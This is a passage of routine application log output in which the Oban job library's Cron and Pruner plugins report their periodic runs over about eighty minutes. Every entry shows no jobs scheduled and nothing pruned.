{"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:02.588 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:32.590 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.021 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:02.592 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:32.594 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.022 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:02.596 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:32.598 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.023 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:02.600 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:32.602 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.024 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:02.604 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:32.606 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.025 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:02.608 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:32.610 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.026 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:02.612 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:32.614 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.027 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:02.616 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:32.618 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.028 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:02.620 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:32.622 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.029 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:02.624 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:32.626 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.030 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:02.628 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:32.630 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.031 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:02.632 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:32.634 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.032 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:02.636 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:32.638 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.033 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:02.640 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:32.642 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.034 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:02.644 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:32.646 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.035 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:02.648 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:32.650 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.036 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:02.652 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:32.654 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.037 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:02.656 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:32.658 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.038 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:02.660 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:32.662 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.039 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:02.664 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:32.666 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.040 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:02.668 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:32.670 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.041 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:02.672 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:32.674 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.042 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:02.676 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:32.678 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.043 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:02.680 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:32.682 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.044 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:02.684 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:32.686 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.045 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:02.688 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:32.690 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.046 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:02.693 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:32.695 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.047 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:02.697 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:32.699 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.048 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:02.701 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:32.703 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.049 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:02.705 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:32.707 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.050 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:02.709 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:32.711 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.051 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:02.713 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:32.715 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.052 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:02.717 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:32.719 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.053 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:02.721 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:32.723 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.054 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:02.725 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:32.727 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.055 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:02.729 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:32.731 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.056 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:02.733 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:32.735 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.057 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:02.737 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:32.739 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.058 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:02.741 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:32.743 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.059 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:02.745 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:32.747 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.060 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:02.749 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:32.751 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.061 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:02.753 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:32.754 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.062 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:02.757 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:32.759 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.063 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:02.761 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:32.763 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.064 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:02.765 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:32.767 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.065 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:02.769 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:32.771 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.066 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:02.773 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:32.775 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.067 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:02.777 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:32.779 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.068 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:02.781 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:32.783 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.069 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:02.785 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:32.787 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.070 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:02.789 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:32.791 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.071 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:02.793 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:32.795 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.072 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:02.797 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:32.799 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.073 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:02.801 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:32.803 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.074 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:02.805 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:32.807 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.075 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:02.809 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:32.811 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.076 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:02.813 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:32.815 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.077 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:02.817 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:32.819 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.078 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:02.821 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:32.823 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.079 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:02.825 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:32.827 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.080 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:02.829 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:32.831 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.081 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:02.833 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:32.835 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.082 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:02.837 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:32.839 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.083 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:02.841 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:32.843 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.084 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:02.845 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:32.847 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.085 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:02.849 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:32.851 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.086 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:02.853 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:32.855 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.087 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:02.857 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:32.859 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.088 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:02.861 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:32.863 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.089 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:02.865 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:32.867 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.090 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:02.869 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:32.871 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.091 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:02.873 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:32.875 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.092 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:02.877 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:32.879 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.093 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:02.881 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:32.883 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.094 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:02.885 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:32.887 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.095 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:02.889 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:32.890 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.096 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:02.893 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:32.895 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.100 [info] {"source":"oban","duration":2403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:02.897 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:32.899 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.102 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:02.902 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:32.904 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.103 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:02.906 [info] 